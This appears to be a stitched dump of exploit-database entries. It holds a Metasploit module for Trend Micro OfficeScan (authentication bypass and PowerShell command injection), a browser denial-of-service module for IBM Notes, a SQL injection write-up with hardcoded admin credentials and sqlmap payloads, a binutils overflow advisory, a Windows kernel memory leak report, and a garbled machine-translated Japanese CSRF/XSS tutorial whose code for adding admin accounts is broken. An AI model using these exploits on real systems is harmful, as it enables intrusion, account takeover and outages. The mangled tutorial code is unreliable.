    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the Trend Micro OfficeScan management interface', '/'])
      ]
    )
  end

  def build_csrftoken(my_target, phpsessid=nil)
    vprint_status("Building csrftoken")
    if my_target.name == 'OfficeScan XG'
      csrf_token = Rex::Text.md5(Time.now.to_s)
    else
      csrf_token = phpsessid.scan(/PHPSESSID=([a-zA-Z0-9]+)/).flatten[0]
    end
    csrf_token
  end

  def auto_target
    #XG version of the widget library has package.json within the same directory.
    mytarget = target
    if target['auto'] && target.name =~ /Automatic/
      print_status('Automatic targeting enabled. Trying to detect version.')
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'package.json'),
      })

      if res && res.code == 200
        mytarget = targets[2]
      elsif res && res.code == 404
        mytarget = targets[1]
      else
        fail_with(Failure::Unknown, 'Unable to automatically select a target')
      end
      print_status("Selected target system : #{mytarget.name}")
    end
    mytarget
  end

  def auth(my_target)
    # Version XG performs MD5 validation on wf_CSRF_token parameter. We can't simply use PHPSESSID directly because it contains a-zA-Z0-9.
    # Beside that, version 11 use PHPSESSID value as a csrf token. Thus, we are manually crafting the cookie.
    if my_target.name == 'OfficeScan XG'
      csrf_token = build_csrftoken(my_target)
      cookie = "LANG=en_US; LogonUser=root; userID=1; wf_CSRF_token=#{csrf_token}"
    # Version 11 want to see valid PHPSESSID from beginning to the end. For this reason we need to force backend to initiate one for us.
    else
      vprint_status("Sending session initiation request for : #{my_target.name}.")
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'index.php'),
      })
      cookie = "LANG=en_US; LogonUser=root; userID=1; #{res.get_cookies}"
      csrf_token = build_csrftoken(my_target, res.get_cookies)
    end

    # Okay, we dynamically generated a cookie and csrf_token values depends on OfficeScan version.
    # Now we need to exploit authentication bypass vulnerability.
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'ui', 'modLogin', 'talker.php'),
      'headers' => {
        'X-CSRFToken' => csrf_token,
        'ctype' => 'application/x-www-form-urlencoded; charset=utf-8'
      },
      'cookie' => cookie,
      'vars_post' => {
        'cid' => '1',
        'act' => 'check',
        'hash' => Rex::Text.rand_text_alpha(10),
        'pid' => '1'
      }
    })

    if res && res.code == 200 && res.body.include?('login successfully')
      # Another business logic in here.
      # Version 11 want to use same PHPSESSID generated at the beginning by hitting index.php
      # Version XG want to use newly created PHPSESSID that comes from auth bypass response.
      if my_target.name == 'OfficeScan XG'
        res.get_cookies
      else
        cookie
      end
    else
       nil
    end
  end

  def check
    my_target = auto_target
    token = auth(my_target)
    # If we dont have a cookie that means authentication bypass issue has been patched on target system.
    if token.nil?
      Exploit::CheckCode::Safe
    else
      # Authentication bypass does not mean that we have a command injection.
      # Accessing to the widget framework without having command injection means literally nothing.
      # So we gonna trigger command injection vulnerability without a payload.
      csrf_token = build_csrftoken(my_target, token)
      vprint_status('Trying to detect command injection vulnerability')
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'),
        'headers' => {
          'X-CSRFToken' => csrf_token,
          'ctype' => 'application/x-www-form-urlencoded; charset=utf-8'
        },
        'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{token}",
        'vars_post' => {
          'module' => 'modTMCSS',
          'serverid' => '1',
          'TOP' => ''
        }
      })
      if res && res.code == 200 && res.body.include?('Proxy execution failed: exec report.php failed')
        Exploit::CheckCode::Vulnerable
      else
        Exploit::CheckCode::Safe
      end
    end
  end

  def exploit
    mytarget = auto_target
    print_status('Exploiting authentication bypass')
    cookie = auth(mytarget)
    if cookie.nil?
      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
    else
      print_good("Authenticated successfully bypassed.")
    end

    print_status('Generating payload')

    powershell_options = {
      encode_final_payload: true,
      remove_comspec: true
    }
    p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)


    # We need to craft csrf value for version 11 again like we did before at auth function.
    csrf_token = build_csrftoken(mytarget, cookie)

    print_status('Trigerring command injection vulnerability')

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'),
      'headers' => {
        'X-CSRFToken' => csrf_token,
        'ctype' => 'application/x-www-form-urlencoded; charset=utf-8'
      },
      'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{cookie}",
      'vars_post' => {
        'module' => 'modTMCSS',
        'serverid' => '1',
        'TOP' => "2>&1||#{p}"
      }
    })

  end
end

            
Source: https://blogs.gentoo.org/ago/2017/09/26/binutils-heap-based-buffer-overflow-in-read_1_byte-dwarf2-c/

Description:
binutils is a set of tools necessary to build programs.

The complete ASan output of the issue:

# nm -A -a -l -S -s --special-syms --synthetic --with-symbol-versions -D $FILE
==3235==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x613000000512 at pc 0x7f7c93ae3c88 bp 0x7ffe38d7a970 sp 0x7ffe38d7a968
READ of size 1 at 0x613000000512 thread T0
    #0 0x7f7c93ae3c87 in read_1_byte /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/dwarf2.c:616:10
    #1 0x7f7c93ae3c87 in decode_line_info /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/dwarf2.c:2311
    #2 0x7f7c93aee92b in comp_unit_maybe_decode_line_info /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/dwarf2.c:3608:26
    #3 0x7f7c93aee92b in comp_unit_find_line /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/dwarf2.c:3643
    #4 0x7f7c93aeb94f in _bfd_dwarf2_find_nearest_line /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/dwarf2.c:4755:11
    #5 0x7f7c93a2920b in _bfd_elf_find_line /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/elf.c:8694:10
    #6 0x517c83 in print_symbol /var/tmp/portage/sys-devel/binutils-9999/work/binutils/binutils/nm.c:1003:9
    #7 0x51542d in print_symbols /var/tmp/portage/sys-devel/binutils-9999/work/binutils/binutils/nm.c:1084:7
    #8 0x51542d in display_rel_file /var/tmp/portage/sys-devel/binutils-9999/work/binutils/binutils/nm.c:1200
    #9 0x510f56 in display_file /var/tmp/portage/sys-devel/binutils-9999/work/binutils/binutils/nm.c:1318:7
    #10 0x50faae in main /var/tmp/portage/sys-devel/binutils-9999/work/binutils/binutils/nm.c:1792:12
    #11 0x7f7c9296e680 in __libc_start_main /var/tmp/portage/sys-libs/glibc-2.23-r4/work/glibc-2.23/csu/../csu/libc-start.c:289
    #12 0x41ac18 in _init (/usr/x86_64-pc-linux-gnu/binutils-bin/git/nm+0x41ac18)

0x613000000512 is located 0 bytes to the right of 338-byte region [0x6130000003c0,0x613000000512)
allocated by thread T0 here:
    #0 0x4d8e08 in malloc /var/tmp/portage/sys-libs/compiler-rt-sanitizers-5.0.0/work/compiler-rt-5.0.0.src/lib/asan/asan_malloc_linux.cc:67
    #1 0x7f7c9393a37c in bfd_malloc /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/libbfd.c:193:9
    #2 0x7f7c9392fb2f in bfd_get_full_section_contents /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/compress.c:248:21
    #3 0x7f7c939696d3 in bfd_simple_get_relocated_section_contents /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/simple.c:193:12
    #4 0x7f7c93ade26e in read_section /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/dwarf2.c:556:8
    #5 0x7f7c93adef3c in decode_line_info /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/dwarf2.c:2047:9
    #6 0x7f7c93aee92b in comp_unit_maybe_decode_line_info /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/dwarf2.c:3608:26
    #7 0x7f7c93aee92b in comp_unit_find_line /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/dwarf2.c:3643
    #8 0x7f7c93aeb94f in _bfd_dwarf2_find_nearest_line /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/dwarf2.c:4755:11
    #9 0x7f7c93a2920b in _bfd_elf_find_line /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/elf.c:8694:10
    #10 0x517c83 in print_symbol /var/tmp/portage/sys-devel/binutils-9999/work/binutils/binutils/nm.c:1003:9
    #11 0x51542d in print_symbols /var/tmp/portage/sys-devel/binutils-9999/work/binutils/binutils/nm.c:1084:7
    #12 0x51542d in display_rel_file /var/tmp/portage/sys-devel/binutils-9999/work/binutils/binutils/nm.c:1200
    #13 0x510f56 in display_file /var/tmp/portage/sys-devel/binutils-9999/work/binutils/binutils/nm.c:1318:7
    #14 0x50faae in main /var/tmp/portage/sys-devel/binutils-9999/work/binutils/binutils/nm.c:1792:12
    #15 0x7f7c9296e680 in __libc_start_main /var/tmp/portage/sys-libs/glibc-2.23-r4/work/glibc-2.23/csu/../csu/libc-start.c:289

SUMMARY: AddressSanitizer: heap-buffer-overflow /var/tmp/portage/sys-devel/binutils-9999/work/binutils/bfd/dwarf2.c:616:10 in read_1_byte
Shadow bytes around the buggy address:
  0x0c267fff8050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff8060: 00 00 00 00 00 00 00 00 00 00 00 04 fa fa fa fa
  0x0c267fff8070: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c267fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff8090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff80a0: 00 00[02]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3235==ABORTING
Affected version:
2.29.51.20170921 and maybe past releases

Fixed version:
N/A

Commit fix:
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=515f23e63c0074ab531bc954f84ca40c6281a724

Credit:
This bug was discovered by Agostino Sarubbo of Gentoo.

CVE:
CVE-2017-14939

Reproducer:
https://github.com/asarubbo/poc/blob/master/00370-binutils-heapoverflow-read_1_byte
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42970.zip

Timeline:
2017-09-21: bug discovered and reported to upstream
2017-09-24: upstream released a patch
2017-09-26: blog post about the issue
2017-09-29: CVE assigned

Note:
This bug was found with American Fuzzy Lop.
This bug was identified with bare metal servers donated by Packet. This work is also supported by the Core Infrastructure Initiative.

Permalink:

https://blogs.gentoo.org/ago/2017/09/26/binutils-heap-based-buffer-overflow-in-read_1_byte-dwarf2-c/


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42970.zip

            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => "IBM Notes encodeURI DOS",
        'Description'    => %q(
          This module exploits a vulnerability in the native browser that
comes with IBM Lotus Notes.
          If successful, it could cause the Notes client to hang and have
to be restarted.
        ),
        'License'        => MSF_LICENSE,
        'Author'         => [
          'Dhiraj Mishra',
        ],
        'References'     => [
          [ 'EXPLOIT-DB', '42602'],
          [ 'CVE', '2017-1129' ],
          [ 'URL', '
http://www-01.ibm.com/support/docview.wss?uid=swg21999385' ]
        ],
        'DisclosureDate' => 'Aug 31 2017',
        'Actions'        => [[ 'WebServer' ]],
        'PassiveActions' => [ 'WebServer' ],
        'DefaultAction'  => 'WebServer'
      )
    )
  end

  def run
    exploit # start http server
  end

  def setup
    @html = %|
    <html><head><title>DOS</title>
<script type="text/javascript">
while (true) try {
                var object = { };
                function d(d0) {
                        var d0 = (object instanceof encodeURI)('foo');
                }
                d(75);
        } catch (d) { }
</script>
</head></html>
    |
  end

  def on_request_uri(cli, _request)
    print_status('Sending response')
    send_response(cli, @html)
  end
end


            
# Exploit Title : Complain Management System Blind SQL Injection
# Date: 10 October 2017
# Exploit Author: havysec 
# Tested on: ubuntu14.04
# Vendor: https://sourceforge.net/projects/complain-management-system/
# Version: not supplied
# Download Software: https://sourceforge.net/projects/complain-management-system/files
  
 
## About The Product :
Complain Management is a Web based project used to manage Customer's complain Online. User can login, and Create complain, view complain details and track the status of its complain.
 
## Vulnerability :
The functions.php file line 88 has hardcoded admin credentials.
        elseif($uType == 'admin'){
            //$_SESSION['user_id'] = $row['sid'];
            if($userName == 'admin' && $password == 'admin123'){
                $_SESSION['user_id'] = 0;
                $_SESSION['user_name'] = 'Administrator';
                $_SESSION['user_type'] = 'admin';
                header('Location: '.WEB_ROOT.'index.php');
                exit;
 
Using the hardcoded admin credentials we then have access to the view.php file that is vulnerable to Blind SQL injection.
 
-HTTP Method : GET
 
- Sqlmap command: sqlmap -u 'http://192.168.1.104/view.php?mod=admin&view=repod&id=plans' --cookie="PHPSESSID=t1bc9vj67odrj3bd096g0rffe0"
 
- Sqlmap Output : 
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] 
[00:47:53] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[00:47:53] [INFO] testing 'MySQL UNION query (98) - 22 to 40 columns'
[00:47:53] [INFO] testing 'MySQL UNION query (98) - 42 to 60 columns'
[00:47:53] [INFO] testing 'MySQL UNION query (98) - 62 to 80 columns'
[00:47:54] [INFO] testing 'MySQL UNION query (98) - 82 to 100 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 650 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: mod=admin&view=repod&id=plans WHERE 6586=6586 AND 9310=9310#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: mod=admin&view=repod&id=plans WHERE 3317=3317 AND (SELECT 4063 FROM(SELECT COUNT(*),CONCAT(0x7176767a71,(SELECT (ELT(4063=4063,1))),0x7170766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- 

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: mod=admin&view=repod&id=plans WHERE 4122=4122 AND (SELECT * FROM (SELECT(SLEEP(5)))zWVH)-- 
---
[00:47:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0
[00:47:57] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 444 times

            

0x01 CSRF定義

CSRF(クロスサイトリクエスト偽造)、中国語名:クロスサイトリクエスト偽造、知られている:ワンクリック攻撃/セッションライディング、略語:CSRF/XSRF。クロスサイトスクリプトXSSのように聞こえますが、サイト内の信頼できるユーザーを悪用するXSSとは大きく異なりますが、CSRFは信頼できるユーザーからの要求を装って信頼できるWebサイトを悪用します。 XSS攻撃と比較して、CSRF攻撃はあまり人気が低く(したがって、それらを防ぐためのリソースがかなり少ない)、予防が困難であるため、XSSよりも危険であると考えられています。

0x02 CSRFハザード

攻撃者はあなたの身元を盗み、あなたの名前で悪意のあるリクエストを送信しました。 CSRFにできること:電子メールの送信、メッセージの送信、アカウントの盗み、さらには商品の購入、仮想通貨からの送金.問題が発生した問題:個人のプライバシー漏れと不動産セキュリティが含まれます。

0x03 CSRF脆弱性の原因

CSRFの脆弱性の原因は、ブラウザでWebサイトのCookieが期限切れにならないことです。このウェブサイトにアクセスする限り、ブラウザがクローズまたはログアウトしていない限り、デフォルトでログインしたステータスになります。この期間中、攻撃者は、作成されたCSRFスクリプトまたはCSRFスクリプトを含むリンクを送信します。この操作は、ユーザーが実際に実行したいものではありません。

0x04

CSRFとXSS XSSの違い:

攻撃者は、XSSの脆弱性——コンストラクトコード——被害者に送られた——被害者を発見しました——攻撃者が被害者のCookie ——を取得して攻撃を完了しました

CSRF:

攻撃者は、CSRFの脆弱性——コンストラクトコード——被害者に送信された——被害者に——人を開設し、攻撃を完了するためにコード——を実行したことを発見しました

0x05

CSRFの原則次の図は、CSRF攻撃のアイデアを簡単に説明しています。

gn5k5s0rdts7795.png

上記の図からわかるように、CSRF攻撃を完了するには、被害者は次の2つのステップを完了する必要があります。

1.信頼できるWebサイトAにログインし、Cookieをローカルで生成します。

2。ログアウトすることなく、危険なウェブサイトBにアクセスしてください。

上記の2つの条件のいずれかが満たされていない場合、CSRFに攻撃されません。はい、それは本当ですが、次の状況が起こらないことを保証することはできません。

1. Webサイトにログインした後、タブページを開いて別のWebサイトにアクセスしなくなることを保証することはできません。

2。ブラウザを閉じた後、地元のCookieがすぐに期限切れになり、最後のセッションが終了したことを保証することはできません。 (実際、ブラウザを閉じることはセッションを終了することはできませんが、ほとんどの人はブラウザを閉じることはログアウト/エンドセッションと同等であると誤って信じています.)

3.上の写真のいわゆる攻撃のウェブサイトは、他の脆弱性を備えた信頼できる頻繁に訪問されるウェブサイトである可能性があります。

0x06

CSRF攻撃の例

(1).getタイプcsrf

銀行WebサイトA。これは、GETリクエストを使用して、http://www.mybank.com/transfer.php?tobankid=11money=1000などの銀行譲渡事業を完了します。

次に、短いファイルでURLリンクを相手に送信します。それが被害者に送られている限り、それはトリガーされます

https://0x9.me/m5beh

(2).post-type csrf

上記の問題を排除するために、銀行は譲渡操作を完了するためにPOSTリクエストを使用することを決定しました。

銀行のウェブサイトAのWebフォームは次のとおりです。

format='transfer.php'method=' post '

ptobankid:inputtype='text'name=' tobankid '//p

pmoney:inputtype='text'name=' money '//p

pinputType='submit'Value='転送'//p

/形状

バックグラウンド処理ページTransfer.phpは次のとおりです。

?php

session_start();

if(Isset($ _ request ['tobankid'] isset($ _ request ['money']))

{

buy_stocks($ _ request ['tobankid']、$ _request ['money']);

}

上記のフォームを偽造してBk.htmlとして保存することにより、Bk.htmlをhttp://www.backlion.org/bk.htmlの下に置くと、URLをクリックするだけで転送がトリガーされます。

(3)最初の2つの痛みを伴うレッスンの後、銀行は要求されたデータを取得する方法を変更することを決定し、$ _POSTを使用して、POSTで要求されたデータのみを取得します。バックグラウンド処理ページTransfer.phpコードは次のとおりです。

?php

session_start();

if(isset($ _ post ['tobankid'] isset($ _ post ['money']))

{

buy_stocks($ _ post ['tobankid']、$ _post ['money']);

}

ただし、偽造フォームは同時に変更できます。

HTML

scriptType='text/javascript'

functionsteal()

{

iframe=document.frames ['steal'];

iframe.document.submit( '転送');

}

/スクリプト

/頭

bodyonload='steal()'

iframename='steal'display=' none '

formmethod='post'name='転送'アクション=' http://ww.mybank.com/transfer.php '

inputtype='hidden'name=' tobankid'value='11 '

inputtype='hidden'name=' money'value='1000'

/形状

/iframe

/体

/HTML

上記の3つの例を要約するために、CSRFの主な攻撃モードは基本的に上記の3つであり、そのうち1番目と2番目が最も深刻であり、トリガー条件は非常に単純であり、URL接続で十分であるため、3番目のタイプはよりトラブルであり、javaScriptを必要とするため、以前のものよりもはるかに低くなります。ただし、いずれにせよ、CSRF攻撃がトリガーされている限り、結果は非常に深刻な場合があります。

上記の3つの攻撃モードを理解すると、CSRF攻撃がWebの暗黙的な認証メカニズムに由来することが実際にわかります。 Webの認証メカニズムは、リクエストがユーザーのブラウザからのものであることを保証できますが、リクエストがユーザーによって承認されることを保証することはできません。

0x07

CSRF実用的な例

(1)。ポスト

のCSRFの実用的な例

最初にターゲットサイトを見つけます。 CSRFの害は、主に操作を実行できる場所に存在します。次に、私が構築した環境でログインした後、ページをテストします。

環境はWordPress環境です。公式ウェブサイトで直接ダウンロードできます

bvkaxqiw2yr7796.png

テストのためにユーザーインターフェイスを選択しましたが、現在1人のユーザーしかいないことがわかります

5qyzssx3o537797.png

次に、ユーザーを追加します

gko4anbzdvu7798.png

げっぷを使用してカットします

jpcwoq1byxb7799.png

Burpの独自のプラグインを使用して、CSRFを利用します

gybhvpvuatx7800.png

使用できるCSRF.htmlを生成します

ラベル内の値を変更して、追加されたユーザーが繰り返し追加できないようにします。

hyxjbtenupj7801.png

ブラウザで試してみてください

tt1omyltbdk7802.png

キーを実行した後、通常の手段で参加した元の最初のユーザーとユーザーに加えて、新しいtest1ユーザーが追加されたことがわかりました。このユーザーは、CSRFを使用して写真の送信をクリックして実行する操作です。テストはページを変更せず、直接連絡したためです。攻撃者がJSを使用してユーザーに直接トリガーできる場合、対応するページが開かれている限り、この動作は実行されます。

xjjrps3ghep7803.png

cgefaq4ejth7804.png

(2).combination csrf+xss

の使用率

人々がHTMLを悪用するのは容易ではなく、脆弱性のトリガーは複雑であるため、このトリガー方法をシンプルにする方法を見つけます。

XSSの脆弱性を使用して、CSRFの脆弱性をトリガーし、ユーザーが追加した操作を完了します。

最初に送信されたパケットのコンテンツを理解する必要があります

smsuy5yqf1o7805.png

上記のXSSプラットフォームを開き、CSRFプロジェクトを作成します。コードを書きましょう

Span Data-Wiz-Span='Data-Wiz-Span' Style='Font-Style:

普通; font-size: 0.875Rem; font-family: Microsoft yahei; Color: RGB(51、51、51); background-color: RGB(255、255、

255); 'var xmlhttp;

if(window.xmlhttprequest){

xmlhttp=new

xmlhttprequest();

}それ以外{

xmlhttp=new

ActiveXObject( 'microsoft.xmlhttp');

}

xmlhttp.open( 'post'、 'http://www.backlion.org/wordpress/wp-admin/user-new.php'、true);

xmlhttp.setRequestheader( 'content-type'、 'application/x-www-form-urlencoded');

xmlhttp.send( 'action=createuser_wponce ..');

//ここで投稿データを入力すると、ユーザー名とパスワード /スパンを変更する必要があります

このコードをプロジェクトのコード構成に貼り付けます

thwqfjn3jit7806.png

次に、メッセージ内の保存されたXSSの脆弱性を介して、利用可能なコードをターゲットサイトに保存します

xtujzowax4v7807.png

メッセージが成功した後の効果は次のとおりです

wxsakhliezt7808.png

myuobbvddk57809.png

管理者がメッセージをチェックすると、危険なコードを実行し、ユーザーを追加するリクエストを送信します

qigkqsjoj4v7810.png

test2ユーザーはユーザーリストを表示した後に正常に追加されました

g2kquc3lb5b7811.png

この時点で、CSRFの攻撃例はほぼ完了していると言えます。将来、自分でそれを掘り下げなければなりません。

(3)。 Ajaxを使用して、CSRF攻撃のXSSを組み合わせます

攻撃効果を達成するために、CSRFのAJAX要求をXSSに入れることです

テストに使用されるこのCMSの掲示板には、ストレージXSSの脆弱性があります。

ここでは、csrftesterを使用してAjaxを生成できます

y1crrtjzv4v7812.png

Ajaxの中核部分を見ることができます

3q1sgekncqi7813.png

単純なAjaxを自分で書くこともできます

Span Data-Wiz-Span='Data-Wiz-Span' Style='Font-Style:

普通; font-size: 0.875Rem; font-family: Microsoft yahei; Color: RGB(51、51、51); background-color: RGB(255、255、

255); 'var xmlhttp;

if(window.xmlhttprequest){

xmlhttp=new

xmlhttprequest();

}それ以外{

xmlhttp=new

ActiveXObject( 'microsoft.xmlhttp');

}

xmlhttp.open( 'post'、 'http://192.168.109:99/admin/admin_manage.asp?act=add'、true);

xmlhttp.setRequestheader( 'content-type'、 'application/x-www-form-urlencoded');

xmlhttp.send( 'admin=789password=789password3=789button=data');/span

XSSプラットフォームでプロジェクトを構成します

yp0ewlkops27814.png

次に、テストWebサイトの掲示板に挿入します

hr3ibbfmrtr7815.png

管理者は、メッセージ情報を確認して管理者アカウントを追加できます

4whfb5shgma7816.png

jj1nax2itek7817.png

(4).phpcmsv9反射性XSSからCSRF

に管理者アカウントを追加します

PHPCMS V9は、PHP5+MySQLを技術的な基盤として使用して開発されたPHPオープンソースコンテンツ管理システムです。現在、多くの業界ポータル、地元のポータル、政府機関などがこのCMSを使用しているか、二次開発を行っています。

eyurtzfw3xg7818.png

PC_HASHの値は、CSSRF防御を実行するためにバックグラウンドで使用されるトークンです。 XSSの脆弱性を前景で発見できる場合、PC_HASH(CSRFトークン)を簡単に取得でき、CSRFの脆弱性をトリガーできます。

反射性XSSを探しています

\ phpcms \ modules \ admin \ plugin.php file public_appcenter_ajx_detail関数(411行にあります)。

/**

*

非同期通話の詳細

*

ここに説明を入力してください.

*/

公共

function public_appcenter_ajx_detail(){

$ id=intval($ _ get ['id']);

$ data=file_get_contents( 'http://open.phpcms.cn/index.php?m=openc=apia=get_detail_byappidid='。$ id);

//$ data=json_decode($ data、true);

echo $ _get ['jsoncallback']。 '('、$ data、 ')';

出口;

}

$ _get ['jsoncallback']は、フィルタリングせずにページに直接出力されます。これは反射的なXSS脆弱性です。

/index.php?m=adminc=plugina=public_appcenter_ajx_detailjsoncallback=script

src=http://www.xsser.com/xss.js/script

反射性XSSを使用して、PC_HASH値を取得します

ydtdusqr25d7819.png

PC_HASHとXSSの脆弱性により、ユーザーが攻撃者の慎重に構築されたボタンをクリックする限り、攻撃者は攻撃を開始できます。

管理者の権限を追加するためにユーザーを構築するには、最初にadmin_manage_codeを取得する必要があります。

dzvzay40tsk7820.png

kkrtjq0lws37821.png

XSSプラットフォームを使用して、CSRF攻撃を起動します

var request=false;

if(window.xmlhttprequest){

リクエスト

=new xmlhttprequest();

もし

(Request.OverRideMimeType){

request.overridemimeType( 'text/xml')

}

} else if(window.activexobject){

var

バージョン=['microsoft.xmlhttp'、 'msxml.xmlhttp'、 'microsoft.xmlhttp'、 'msxml2.xmlhttp.7.0'、

'msxml2.xmlhttp.6.0'、 'msxml2.xmlhttp.5.0'、 'msxml2.xmlhttp.4.0'、 'msxml2.xmlhttp.3.0'、

'msxml2.xmlhttp'];

のために

(var i=0; i versions.length; i ++){

試す {

リクエスト

=new ActiveXObject(バージョン[i])

} catch(e){}

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1303&desc=2

We have discovered that the nt!NtQueryObject syscall handler discloses portions of uninitialized pool memory to user-mode clients when the following conditions are met:

 a) It is invoked with the ObjectNameInformation information class and a file object associated with a file on local disk (other configurations were not tested).
 b) The provided buffer is too short to contain even the first part of the output data, i.e. the name of the harddisk volume device (e.g. "\Device\HarddiskVolume2").

By empirically testing the system call in the above set up, we have found that it actually behaves in five different ways depending on the length of the output buffer:

 a) From 1 to 7 (32-bit) or 15 (64-bit): no output, syscall returns STATUS_INFO_LENGTH_MISMATCH.
 b) From 8/16 to N-1 (N being size required to store the name of the volume device): uninitialized pool memory is disclosed to user-mode, syscall returns STATUS_BUFFER_OVERFLOW.
 c) From N to N+1: partial path is copied to user-mode, syscall returns STATUS_OBJECT_PATH_INVALID.
 d) From N+2 to M-1 (M being the size required to store the entire output data): partial path is copied to user-mode, syscall returns STATUS_BUFFER_OVERFLOW.
 e) From M to ...: full path is copied to user-mode, syscall returns STATUS_SUCCESS.

The issue is of course with case (b); it means that between 1 and about 56 bytes of uninitialized kernel pool memory can be leaked with a single nt!NtQueryObject call.

The attached proof of concept program has been tested on 32 and 64-bit builds of Windows 7. It dumps the data leaked by the affected syscall in each subsequent iteration, and then waits for user interaction (ENTER key press) before executing the next one. When the Special Pools mechanism is enabled for ntoskrnl.exe, the PoC output should be similar to the following:

--- cut ---
00000000: e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 ................
00000010: e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 ................
00000020: e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 ................
00000030: e1 e1 e1 e1 e1 e1 e1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ................

00000000: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################
00000010: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################
00000020: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################
00000030: 23 23 23 23 23 23 23 ?? ?? ?? ?? ?? ?? ?? ?? ?? #######.........

00000000: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ----------------
00000010: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ----------------
00000020: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ----------------
00000030: 2d 2d 2d 2d 2d 2d 2d ?? ?? ?? ?? ?? ?? ?? ?? ?? -------.........

00000000: 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 7777777777777777
00000010: 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 7777777777777777
00000020: 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 7777777777777777
